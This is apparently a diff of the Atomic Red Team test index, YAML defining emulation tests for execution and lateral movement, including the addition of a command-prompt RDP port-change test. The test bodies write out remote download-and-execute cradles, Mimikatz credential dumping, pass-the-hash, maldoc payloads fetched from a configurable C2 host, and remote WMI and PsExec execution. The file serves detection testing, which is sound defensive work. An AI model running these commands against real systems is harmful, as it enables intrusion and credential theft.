try { New-Object -COMObject "#{ms_product}.Application" | Out-Null @@ -61632,7 +61655,7 @@ execution: get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement" -' + ' executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 @@ -61641,13 +61664,13 @@ execution: Invoke-MalDoc -macroCode $macrocode -officeProduct "#{ms_product}" cleanup_command: 'Remove-Item #{jse_path} -ErrorAction Ignore -' + ' name: powershell - name: OSTap Payload Download auto_generated_guid: 3f3af983-118a-4fa1-85d3-ba4daa739d80 description: 'Uses cscript //E:jscript to download a file -' + ' supported_platforms: - windows input_arguments: @@ -61665,7 +61688,7 @@ execution: cscript //E:Jscript #{script_file} cleanup_command: 'del #{script_file} /F /Q >nul 2>&1 -' + ' name: command_prompt - name: Maldoc choice flags command execution auto_generated_guid: 0330a5d2-a45a-4272-a9ee-e364411c4b18 @@ -61683,7 +61706,7 @@ execution: dependencies: - description: 'Microsoft #{ms_product} must be installed -' + ' prereq_command: | try { New-Object -COMObject "#{ms_product}.Application" | Out-Null @@ -61694,7 +61717,7 @@ execution: get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement" -' + ' executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 @@ -61722,7 +61745,7 @@ execution: dependencies: - description: 'Microsoft #{ms_product} must be installed -' + ' prereq_command: | try { New-Object -COMObject "#{ms_product}.Application" | Out-Null @@ -61733,7 +61756,7 @@ execution: get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement" -' + ' executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 @@ -61760,7 +61783,7 @@ execution: dependencies: - description: 'Microsoft #{ms_product} must be installed -' + ' prereq_command: | try { New-Object -COMObject "#{ms_product}.Application" | Out-Null @@ -61771,7 +61794,7 @@ execution: get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement" -' + ' executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 @@ -61803,7 +61826,7 @@ execution: dependencies: - description: 'Microsoft Excel must be installed -' + ' prereq_command: | try { New-Object -COMObject "Excel.Application" | Out-Null @@ -61813,7 +61836,7 @@ execution: get_prereq_command: 'Write-Host "You will need to install Microsoft Excel manually to meet this requirement" -' + ' executor: command: | $fname = "$env:TEMP\atomic_redteam_x4m_exec.vbs" @@ -61885,7 +61908,7 @@ execution: dependencies: - description: 'Microsoft Word must be installed -' + ' prereq_command: | try { $wdApp = New-Object -COMObject "Word.Application" @@ -61894,10 +61917,10 @@ execution: get_prereq_command: 'Write-Host "You will need to install Microsoft Word manually to meet this requirement" -' + ' - description: 'Google Chrome must be installed -' + ' prereq_command: | try { $chromeInstalled = (Get-Item (Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\chrome.exe').'(Default)').VersionInfo.FileName @@ -61906,7 +61929,7 @@ execution: get_prereq_command: 'Write-Host "You will need to install Google Chrome manually to meet this requirement" -' + ' executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 @@ -61924,7 +61947,7 @@ execution: instead of a VIRUS (i.e. not actually malicious, but is flagged as it to verify anti-pua protection). -' + ' supported_platforms: - windows input_arguments: @@ -61944,7 +61967,7 @@ execution: & "#{pua_file}" cleanup_command: 'Remove-Item #{pua_file} -' + ' - name: Office Generic Payload Download auto_generated_guid: 5202ee05-c420-4148-bf5e-fd7f7d24850c description: | @@ -61959,14 +61982,14 @@ execution: macro_path: description: 'Location of file which will be converted to a VBA macro -' + ' type: Path default: PathToAtomicsFolder/T1204.002/src/test9-GenericPayloadDownload.txt c2_domain: description: 'This required variable points to a user defined HTTP server that will host the file_name in the c2_parent_directory. -' + ' type: Url default: c2_parent_directory: @@ -61985,7 +62008,7 @@ execution: ms_product: description: 'Maldoc application Word or Excel -' + ' type: String default: Word dependency_executor_name: powershell @@ -61993,17 +62016,17 @@ execution: - description: 'Destination c2_domain name or IP address must be set to a running HTTP server. -' + ' prereq_command: 'if (#{c2_domain}) (exit 0) else (exit 1) -' + ' get_prereq_command: 'Write-Host "Destination c2 server domain name or IP address must be set and reachable for HTTP service" -' + ' - description: 'Microsoftt #{ms_product} must be installed -' + ' prereq_command: | try { New-Object -COMObject "#{ms_product}.Application" | Out-Null @@ -62014,7 +62037,7 @@ execution: get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement" -' + ' executor: name: powershell command: | @@ -62027,7 +62050,7 @@ execution: cleanup_command: 'Remove-Item "C:\Users\$env:username\Desktop\#{file_name}" -ErrorAction Ignore -' + ' T1204.003: technique: external_references: @@ -62369,7 +62392,7 @@ execution: description: 'Download Mimikatz and dump credentials. Upon execution, mimikatz dump details and password hashes will be displayed. -' + ' supported_platforms: - windows input_arguments: @@ -62381,7 +62404,7 @@ execution: command: 'powershell.exe "IEX (New-Object Net.WebClient).DownloadString(''#{mimurl}''); Invoke-Mimikatz -DumpCreds" -' + ' name: command_prompt elevation_required: true - name: Run BloodHound from local disk @@ -62401,15 +62424,15 @@ execution: dependencies: - description: 'SharpHound.ps1 must be located at #{file_path} -' + ' prereq_command: 'if (Test-Path #{file_path}\SharpHound.ps1) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Invoke-WebRequest "https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1" -OutFile "#{file_path}\SharpHound.ps1" -' + ' executor: command: | write-host "Import and Execution of SharpHound.ps1 from #{file_path}" -ForegroundColor Cyan @@ -62418,7 +62441,7 @@ execution: Start-Sleep 5 cleanup_command: 'Remove-Item $env:Temp\*BloodHound.zip -Force -' + ' name: powershell - name: Run Bloodhound from Memory using Download Cradle auto_generated_guid: bf8c1441-4674-4dab-8e4e-39d93d08f9b7 @@ -62436,7 +62459,7 @@ execution: Start-Sleep 5 cleanup_command: 'Remove-Item $env:Temp\*BloodHound.zip -Force -' + ' name: powershell - name: Obfuscation Tests auto_generated_guid: 4297c41a-8168-4138-972d-01f3ee92c804 @@ -62444,7 +62467,7 @@ execution: out to bit.ly/L3g1t and displays: "SUCCESSFULLY EXECUTED POWERSHELL CODE FROM REMOTE LOCATION" -' + ' supported_platforms: - windows executor: @@ -62459,7 +62482,7 @@ execution: will take place to open file explorer, open notepad and input code, then mimikatz dump info will be displayed. -' + ' supported_platforms: - windows executor: @@ -62490,7 +62513,7 @@ execution: command: 'Powershell.exe "IEX (New-Object Net.WebClient).DownloadString(''https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1''); Invoke-AppPathBypass -Payload ''C:\Windows\System32\cmd.exe''" -' + ' name: command_prompt - name: Powershell MsXml COM object - with prompt auto_generated_guid: 388a7340-dbc1-4c9d-8e59-b75ad8c6d5da @@ -62510,7 +62533,7 @@ execution: MsXml2.ServerXmlHttp;$comMsXml.Open(''GET'',''#{url}'',$False);$comMsXml.Send();IEX $comMsXml.ResponseText" -' + ' name: command_prompt - name: Powershell XML requests auto_generated_guid: 4396927f-e503-427b-b023-31049b9b09a6 @@ -62530,7 +62553,7 @@ execution: bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load(''#{url}'');$Xml.command.a.execute | IEX" -' + ' name: command_prompt - name: Powershell invoke mshta.exe download auto_generated_guid: 8a2ad40b-12c7-4b25-8521-2737b0a415af @@ -62548,7 +62571,7 @@ execution: executor: command: 'C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject(''script:#{url}'').Exec();close()" -' + ' name: command_prompt - name: Powershell Invoke-DownloadCradle auto_generated_guid: cc50fa2a-a4be-42af-a88f-e347ba0bf4d7 @@ -62590,26 +62613,26 @@ execution: dependencies: - description: 'PowerShell version 2 must be installed -' + ' prereq_command: 'if(2 -in $PSVersionTable.PSCompatibleVersions.Major) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Write-Host Automated installer not implemented yet, please install PowerShell v2 manually -' + ' executor: command: 'powershell.exe -version 2 -Command Write-Host $PSVersion -' + ' name: powershell - name: NTFS Alternate Data Stream Access auto_generated_guid: 8e5c5532-1181-4c1d-bb79-b3a9f5dbd680 description: 'Creates a file with an alternate data stream and simulates executing that hidden code/file. Upon execution, "Stream Data Executed" will be displayed. -' + ' supported_platforms: - windows input_arguments: @@ -62620,14 +62643,14 @@ execution: dependencies: - description: 'Homedrive must be an NTFS drive -' + ' prereq_command: 'if((Get-Volume -DriveLetter $env:HOMEDRIVE[0]).FileSystem -contains "NTFS") {exit 0} else {exit 1} -' + ' get_prereq_command: 'Write-Host Prereq''s for this test cannot be met automatically -' + ' executor: name: powershell command: | @@ -62636,7 +62659,7 @@ execution: Invoke-Expression $streamcommand cleanup_command: 'Remove-Item #{ads_file} -Force -ErrorAction Ignore -' + ' - name: PowerShell Session Creation and Use auto_generated_guid: 7c1acec2-78fa-4305-a3e0-db2a54cddecd description: | @@ -62653,12 +62676,12 @@ execution: dependencies: - description: 'PSRemoting must be enabled -' + ' prereq_command: "Try {\n New-PSSession -ComputerName #{hostname_to_connect} -ErrorAction Stop | Out-Null\n exit 0\n} \nCatch {\n exit 1\n}\n" get_prereq_command: 'Enable-PSRemoting -' + ' executor: name: powershell elevation_required: true @@ -62692,7 +62715,7 @@ execution: get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force -' + ' executor: command: 'Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction @@ -62728,7 +62751,7 @@ execution: get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force -' + ' executor: command: 'Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation @@ -62759,7 +62782,7 @@ execution: get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force -' + ' executor: command: 'Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute @@ -62795,7 +62818,7 @@ execution: get_prereq_command: 'Install-Module -Name AtomicTestHarnesses -Scope CurrentUser -Force -' + ' executor: command: 'Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments @@ -62808,7 +62831,7 @@ execution: outputs "Hello, from PowerShell!". Example is from the 2021 Threat Detection Report by Red Canary. -' + ' supported_platforms: - windows input_arguments: @@ -62819,7 +62842,7 @@ execution: executor: command: 'powershell.exe -e #{obfuscated_code} -' + ' name: command_prompt - name: PowerShell Invoke Known Malicious Cmdlets auto_generated_guid: 49eb9404-5e0f-4031-a179-b40f7be385e3 @@ -62841,7 +62864,7 @@ execution: "PowerUp", "PowerView", "Remove-Comments", "Remove-VolumeShadowCopy", "Set-CriticalProcess", "Set-MasterBootRecord" -' + ' executor: name: powershell elevation_required: true @@ -62855,7 +62878,7 @@ execution: auto_generated_guid: 1289f78d-22d2-4590-ac76-166737e1811b description: 'Check for privilege escalation paths using PowerUp from PowerShellMafia -' + ' supported_platforms: - windows executor: @@ -62940,13 +62963,13 @@ execution: $which_python -c 'import requests' 2>/dev/null; echo $? get_prereq_command: 'pip install requests -' + ' executor: command: '$which_python -c ''import requests;import os;url = "#{script_url}";malicious_command = "#{executor} #{payload_file_name} #{script_args}";session = requests.session();source = session.get(url).content;fd = open("#{payload_file_name}", "wb+");fd.write(source);fd.close();os.system(malicious_command)'' -' + ' name: sh cleanup_command: "rm #{payload_file_name} \n" - name: Execute Python via scripts (Linux) @@ -62982,7 +63005,7 @@ execution: dependencies: - description: 'Requires Python -' + ' prereq_command: | which_python=`which python`; python -V $which_python -c 'import requests' 2>/dev/null; echo $? @@ -63008,7 +63031,7 @@ execution: an external malicious script then executes locally using the supplied executor and arguments -' + ' supported_platforms: - linux input_arguments: @@ -63042,7 +63065,7 @@ execution: dependencies: - description: 'Requires Python -' + ' prereq_command: | which_python=`which python`; python -V $which_python -c 'import requests' 2>/dev/null; echo $? @@ -63064,7 +63087,7 @@ execution: name: sh cleanup_command: 'rm #{python_binary_name} #{python_script_name} #{payload_file_name} -' + ' T1053.005: technique: created: '2019-11-27T14:58:00.429Z' @@ -63162,7 +63185,7 @@ execution: description: 'Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10. -' + ' supported_platforms: - windows input_arguments: @@ -63179,10 +63202,10 @@ execution: elevation_required: false command: 'SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time} -' + ' cleanup_command: 'SCHTASKS /Delete /TN spawn /F >nul 2>&1 -' + ' - name: Scheduled task Remote auto_generated_guid: 2e5eac3e-327b-4a88-a0c0-c4057039a8dd description: | @@ -63218,11 +63241,11 @@ execution: command: 'SCHTASKS /Create /S #{target} /RU #{user_name} /RP #{password} /TN "Atomic task" /TR "#{task_command}" /SC daily /ST #{time} -' + ' cleanup_command: 'SCHTASKS /Delete /S #{target} /U #{user_name} /P #{password} /TN "Atomic task" /F >nul 2>&1 -' + ' - name: Powershell Cmdlet Scheduled Task auto_generated_guid: af9fd58f-c4ac-4bf2-a9ba-224b71ff25fd description: | @@ -63244,7 +63267,7 @@ execution: cleanup_command: 'Unregister-ScheduledTask -TaskName "AtomicTask" -confirm:$false >$null 2>&1 -' + ' - name: Task Scheduler via VBA auto_generated_guid: ecd3fa21-7792-41a2-8726-2c5c673414d3 description: | @@ -63261,7 +63284,7 @@ execution: dependencies: - description: 'Microsoft #{ms_product} must be installed -' + ' prereq_command: | try { New-Object -COMObject "#{ms_product}.Application" | Out-Null @@ -63272,7 +63295,7 @@ execution: get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement" -' + ' executor: command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" @@ -63285,7 +63308,7 @@ execution: login from XML by leveraging WMI class PS_ScheduledTask. Does the same thing as Register-ScheduledTask cmdlet behind the scenes. -' + ' supported_platforms: - windows executor: @@ -63297,7 +63320,7 @@ execution: cleanup_command: 'Unregister-ScheduledTask -TaskName "T1053_005_WMI" -confirm:$false >$null 2>&1 -' + ' T1053: technique: id: attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9 @@ -63511,7 +63534,7 @@ execution: sc.exe delete #{service_name} cleanup_command: 'del C:\art-marker.txt >nul 2>&1 -' + ' name: command_prompt elevation_required: true - name: Use PsExec to execute a command on a remote host @@ -63545,10 +63568,10 @@ execution: - description: 'PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_exe}) -' + ' prereq_command: 'if (Test-Path "#{psexec_exe}") { exit 0} else { exit 1} -' + ' get_prereq_command: | Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "$env:TEMP\PsTools.zip" Expand-Archive $env:TEMP\PsTools.zip $env:TEMP\PsTools -Force @@ -63558,7 +63581,7 @@ execution: command: '#{psexec_exe} \\#{remote_host} -u #{user_name} -p #{password} -accepteula "C:\Windows\System32\calc.exe" -' + ' name: command_prompt T1129: technique: @@ -63691,7 +63714,7 @@ execution: description: 'An adversary may use Radmin Viewer Utility to remotely control Windows device, this will start the radmin console. -' + ' supported_platforms: - windows input_arguments: @@ -63707,10 +63730,10 @@ execution: - description: 'Radmin Viewer Utility must be installed at specified location (#{radmin_exe}) -' + ' prereq_command: 'if not exist "#{radmin_exe}" (exit /b 1) -' + ' get_prereq_command: | echo Downloading radmin installer bitsadmin /transfer myDownloadJob /download /priority normal "https://www.radmin.com/download/Radmin_Viewer_3.5.2.1_EN.msi" #{radmin_installer} @@ -63983,7 +64006,7 @@ execution: auto_generated_guid: 7e7ac3ed-f795-4fa5-b711-09d6fbe9b873 description: 'Creates and executes a simple bash script. -' + ' supported_platforms: - macos - linux @@ -64000,7 +64023,7 @@ execution: sh #{script_path} cleanup_command: 'rm #{script_path} -' + ' name: sh - name: Command-Line Interface auto_generated_guid: d0c88567-803d-4dca-99b4-7ce65e7b257c @@ -64017,7 +64040,7 @@ execution: wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash cleanup_command: 'rm /tmp/art-fish.txt -' + ' name: sh T1204: technique: @@ -64174,7 +64197,7 @@ execution: dependencies: - description: 'The 64-bit version of Microsoft Office must be installed -' + ' prereq_command: | try { $wdApp = New-Object -COMObject "Word.Application" @@ -64185,7 +64208,7 @@ execution: get_prereq_command: 'Write-Host "You will need to install Microsoft Word (64-bit) manually to meet this requirement" -' + ' executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 @@ -64194,7 +64217,7 @@ execution: cleanup_command: 'Get-WmiObject win32_process | Where-Object {$_.CommandLine -like "*mshta*"} | % { "$(Stop-Process $_.ProcessID)" } | Out-Null -' + ' name: powershell - name: Extract Memory via VBA auto_generated_guid: 8faff437-a114-4547-9a60-749652a03df6 @@ -64213,7 +64236,7 @@ execution: dependencies: - description: 'Microsoft #{ms_product} must be installed -' + ' prereq_command: | try { New-Object -COMObject "#{ms_product}.Application" | Out-Null @@ -64224,7 +64247,7 @@ execution: get_prereq_command: 'Write-Host "You will need to install Microsoft #{ms_product} manually to meet this requirement" -' + ' executor: command: "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" @@ -64233,7 +64256,7 @@ execution: cleanup_command: 'Remove-Item "$env:TEMP\atomic_t1059_005_test_output.bin" -ErrorAction Ignore -' + ' name: powershell T1059.003: technique: @@ -64284,7 +64307,7 @@ execution: description: 'Creates and executes a simple batch script. Upon execution, CMD will briefly launch to run the batch script then close again. -' + ' supported_platforms: - windows input_arguments: @@ -64300,27 +64323,27 @@ execution: dependencies: - description: 'Batch file must exist on disk at specified location (#{script_path}) -' + ' prereq_command: 'if (Test-Path #{script_path}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item #{script_path} -Force | Out-Null Set-Content -Path #{script_path} -Value "#{command_to_execute}" executor: command: 'Start-Process #{script_path} -' + ' cleanup_command: 'Remove-Item #{script_path} -Force -ErrorAction Ignore -' + ' name: powershell - name: Writes text to a file and displays it. auto_generated_guid: 127b4afe-2346-4192-815c-69042bec570e description: 'Writes text to a file and display the results. This test is intended to emulate the dropping of a malicious file to disk. -' + ' supported_platforms: - windows input_arguments: @@ -64335,17 +64358,17 @@ execution: executor: command: 'echo "#{message}" > "#{file_contents_path}" & type "#{file_contents_path}" -' + ' cleanup_command: 'del "#{file_contents_path}" -' + ' name: command_prompt - name: Suspicious Execution via Windows Command Shell auto_generated_guid: d0eb3597-a1b3-4d65-b33b-2cda8d397f20 description: 'Command line executed via suspicious invocation. Example is from the 2021 Threat Detection Report by Red Canary. -' + ' supported_platforms: - windows input_arguments: @@ -64436,7 +64459,7 @@ execution: executor: command: 'wmic useraccount get /ALL /format:csv -' + ' name: command_prompt - name: WMI Reconnaissance Processes auto_generated_guid: 5750aa16-0e59-4410-8b9a-8a47ca2788e2 @@ -64448,7 +64471,7 @@ execution: executor: command: 'wmic process get caption,executablepath,commandline /format:csv -' + ' name: command_prompt - name: WMI Reconnaissance Software auto_generated_guid: 718aebaa-d0e0-471a-8241-c5afa69c7414 @@ -64460,7 +64483,7 @@ execution: executor: command: 'wmic qfe get description,installedOn /format:csv -' + ' name: command_prompt - name: WMI Reconnaissance List Remote Services auto_generated_guid: 0fd48ef7-d890-4e93-a533-f7dedd5191d3 @@ -64484,7 +64507,7 @@ execution: executor: command: 'wmic /node:"#{node}" service where (caption like "%#{service_search_string}%") -' + ' name: command_prompt - name: WMI Execute Local Process auto_generated_guid: b3bdfc91-b33e-4c6d-a5c8-d64bee0276b3 @@ -64501,11 +64524,11 @@ execution: executor: command: 'wmic process call create #{process_to_execute} -' + ' cleanup_command: 'wmic process where name=''#{process_to_execute}'' delete >nul 2>&1 -' + ' name: command_prompt - name: WMI Execute Remote Process auto_generated_guid: 9c8ef159-c666-472f-9874-90c8d60d136b @@ -64536,11 +64559,11 @@ execution: command: 'wmic /user:#{user_name} /password:#{password} /node:"#{node}" process call create #{process_to_execute} -' + ' cleanup_command: 'wmic /user:#{user_name} /password:#{password} /node:"#{node}" process where name=''#{process_to_execute}'' delete >nul 2>&1 -' + ' name: command_prompt - name: Create a Process using WMI Query and an Encoded Command auto_generated_guid: 7db7a7f9-9531-4840-9b30-46220135441c @@ -64557,7 +64580,7 @@ execution: executor: command: 'powershell -exec bypass -e SQBuAHYAbwBrAGUALQBXAG0AaQBNAGUAdABoAG8AZAAgAC0AUABhAHQAaAAgAHcAaQBuADMAMgBfAHAAcgBvAGMAZQBzAHMAIAAtAE4AYQBtAGUAIABjAHIAZQBhAHQAZQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIABuAG8AdABlAHAAYQBkAC4AZQB4AGUA -' + ' name: command_prompt - name: Create a Process using obfuscated Win32_Process auto_generated_guid: 10447c83-fc38-462a-a936-5102363b1c43 @@ -64591,7 +64614,7 @@ execution: description: 'This test uses wmic.exe to execute a DLL function using rundll32. Specify a valid value for remote IP using the node parameter. -' + ' supported_platforms: - windows input_arguments: @@ -64615,12 +64638,12 @@ execution: get_prereq_command: 'Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1047/bin/calc.dll?raw=true" -OutFile "#{dll_to_execute}" -' + ' executor: command: 'wmic /node:#{node} process call create "rundll32.exe #{dll_to_execute} #{function_to_execute}" -' + ' cleanup_command: taskkill /f /im calculator.exe name: powershell lateral-movement: @@ -64907,7 +64930,7 @@ lateral-movement: command: '[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application","#{computer_name}")).Document.ActiveView.ExecuteShellCommand("c:\windows\system32\calc.exe", $null, $null, "7") -' + ' name: powershell T1210: technique: @@ -65160,7 +65183,7 @@ lateral-movement: - description: 'Mimikatz executor must exist on disk and at specified location (#{mimikatz_path}) -' + ' prereq_command: | $mimikatz_path = cmd /c echo #{mimikatz_path} if (Test-Path $mimikatz_path) {exit 0} else {exit 1} @@ -65175,13 +65198,13 @@ lateral-movement: command: '#{mimikatz_path} "sekurlsa::pth /user:#{user_name} /domain:#{domain} /ntlm:#{ntlm}" -' + ' name: command_prompt - name: crackmapexec Pass the Hash auto_generated_guid: eb05b028-16c8-4ad8-adea-6f5b219da9a9 description: 'command execute with crackmapexec -' + ' supported_platforms: - windows input_arguments: @@ -65210,18 +65233,18 @@ lateral-movement: - description: 'CrackMapExec executor must exist on disk at specified location (#{crackmapexec_exe}) -' + ' prereq_command: 'if(Test-Path #{crackmapexec_exe}) { 0 } else { -1 } -' + ' get_prereq_command: 'Write-Host Automated installer not implemented yet, please install crackmapexec manually at this location: #{crackmapexec_exe} -' + ' executor: command: 'crackmapexec #{domain} -u #{user_name} -H #{ntlm} -x #{command} -' + ' name: command_prompt T1550.003: technique: @@ -65300,7 +65323,7 @@ lateral-movement: auto_generated_guid: dbf38128-7ba7-4776-bedf-cc2eed432098 description: 'Similar to PTH, but attacking Kerberos -' + ' supported_platforms: - windows input_arguments: @@ -65320,10 +65343,10 @@ lateral-movement: dependencies: - description: 'Mimikatz must exist on disk at specified location (#{mimikatz_exe}) -' + ' prereq_command: 'if (Test-Path #{mimikatz_exe}) {exit 0} else {exit 1} -' + ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 $mimikatz_relative_uri = Invoke-WebRequest "https://github.com/gentilkiwi/mimikatz/releases/latest" -UseBasicParsing | Select-Object -ExpandProperty Links | Where-Object -Property href -Like "*/mimikatz_trunk.zip" | Select-Object -ExpandProperty href @@ -65413,7 +65436,7 @@ lateral-movement: net start sesshijack cleanup_command: 'sc.exe delete sesshijack >nul 2>&1 -' + ' name: command_prompt elevation_required: true T1021.001: @@ -65485,7 +65508,7 @@ lateral-movement: auto_generated_guid: 355d4632-8cb9-449d-91ce-b566d0253d3e description: 'Attempt an RDP session via Remote Desktop Application to a DomainController. -' + ' supported_platforms: - windows input_arguments: @@ -65508,15 +65531,15 @@ lateral-movement: dependencies: - description: 'Computer must be domain joined -' + ' prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) { exit 0} else { exit 1} -' + ' get_prereq_command: 'Write-Host Joining this computer to a domain must be done manually -' + ' executor: command: | $Server=#{logonserver} @@ -65533,7 +65556,7 @@ lateral-movement: auto_generated_guid: 7382a43e-f19c-46be-8f09-5c63af7d3e2b description: 'Attempt an RDP session via Remote Desktop Application over Powershell -' + ' supported_platforms: - windows input_arguments: @@ -65561,12 +65584,12 @@ lateral-movement: $p=Tasklist /svc /fi "IMAGENAME eq mstsc.exe" /fo csv | convertfrom-csv if(-not ([string]::IsNullOrEmpty($p.PID))) { Stop-Process -Id $p.PID } name: powershell - - name: Changing RDP Port to Non Standard Port + - name: Changing RDP Port to Non Standard Port via Powershell auto_generated_guid: 2f840dd4-8a2e-4f44-beb3-6b2399ea3771 description: 'Changing RDP Port to Non Standard Port via Remote Desktop Application over Powershell -' + ' supported_platforms: - windows input_arguments: @@ -65584,8 +65607,33 @@ lateral-movement: New-NetFirewallRule -DisplayName 'RDPPORTLatest-TCP-In' -Profile 'Public' -Direction Inbound -Action Allow -Protocol TCP -LocalPort #{NEW_Remote_Port} cleanup_command: "Set-ItemProperty -Path 'HKLM:\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp' -name \"PortNumber\" -Value #{OLD_Remote_Port}\nRemove-NetFirewallRule - -DisplayName \"RDPPORTLatest-TCP-In\" \n" + -DisplayName \"RDPPORTLatest-TCP-In\" -ErrorAction ignore \n" name: powershell + - name: Changing RDP Port to Non Standard Port via Command_Prompt + auto_generated_guid: 74ace21e-a31c-4f7d-b540-53e4eb6d1f73 + description: 'Changing RDP Port to Non Standard Port via Command_Prompt + + ' + supported_platforms: + - windows + input_arguments: + OLD_Remote_Port: + description: Default RDP Listening Port + type: String + default: '3389' + NEW_Remote_Port: + description: New RDP Listening Port + type: String + default: '4489' + executor: + command: | + reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d #{NEW_Remote_Port} -f + netsh advfirewall firewall add rule name="RDPPORTLatest-TCP-In" dir=in action=allow protocol=TCP localport=#{NEW_Remote_Port} + cleanup_command: | + reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d #{OLD_Remote_Port} -f >nul 2>&1 + netsh advfirewall firewall delete rule name="RDPPORTLatest-TCP-In" >nul 2>&1 + name: command_prompt + elevation_required: true T1563: technique: external_references: @@ -65823,7 +65871,7 @@ lateral-movement: auto_generated_guid: 3386975b-367a-4fbb-9d77-4dcf3639ffd3 description: 'Connecting To Remote Shares -' + ' supported_platforms: - windows input_arguments: @@ -65847,13 +65895,13 @@ lateral-movement: command: 'cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}" -' + ' name: command_prompt - name: Map Admin Share PowerShell auto_generated_guid: 514e9cd7-9207-4882-98b1-c8f791bae3c5 description: 'Map Admin share utilizing PowerShell -' + ' supported_platforms: - windows input_arguments: @@ -65872,14 +65920,14 @@ lateral-movement: executor: command: 'New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name} -' + ' name: powershell - name: Copy and Execute File with PsExec auto_generated_guid: 0eb03d41-79e4-4393-8e57-6344856be1cf description: 'Copies a file to a remote host and executes it using PsExec. Requires the download of PsExec from [https://docs.microsoft.com/en-us/sysinternals/downloads/psexec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec). -' + ' supported_platforms: - windows input_arguments: @@ -65900,10 +65948,10 @@ lateral-movement: - description: 'PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_exe}) -' + ' prereq_command: 'if (Test-Path "#{psexec_exe}") { exit 0} else { exit 1} -' + ' get_prereq_command: | Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "$env:TEMP\PsTools.zip" Expand-Archive $env:TEMP\PsTools.zip $env:TEMP\PsTools -Force @@ -65933,7 +65981,7 @@ lateral-movement: command: 'cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1 -' + ' name: command_prompt elevation_required: true T1021.004: @@ -66164,7 +66212,7 @@ lateral-movement: description: 'An adversary may use Radmin Viewer Utility to remotely control Windows device, this will start the radmin console. -' + ' supported_platforms: - windows input_arguments: @@ -66180,10 +66228,10 @@ lateral-movement: - description: 'Radmin Viewer Utility must be installed at specified location (#{radmin_exe}) -' + ' prereq_command: 'if not exist "#{radmin_exe}" (exit /b 1) -' + ' get_prereq_command: | echo Downloading radmin installer bitsadmin /transfer myDownloadJob /download /priority normal "https://www.radmin.com/download/Radmin_Viewer_3.5.2.1_EN.msi" #{radmin_installer} @@ -66476,7 +66524,7 @@ lateral-movement: executor: command: 'Enable-PSRemoting -Force -' + ' name: powershell elevation_required: true - name: Invoke-Command @@ -66499,7 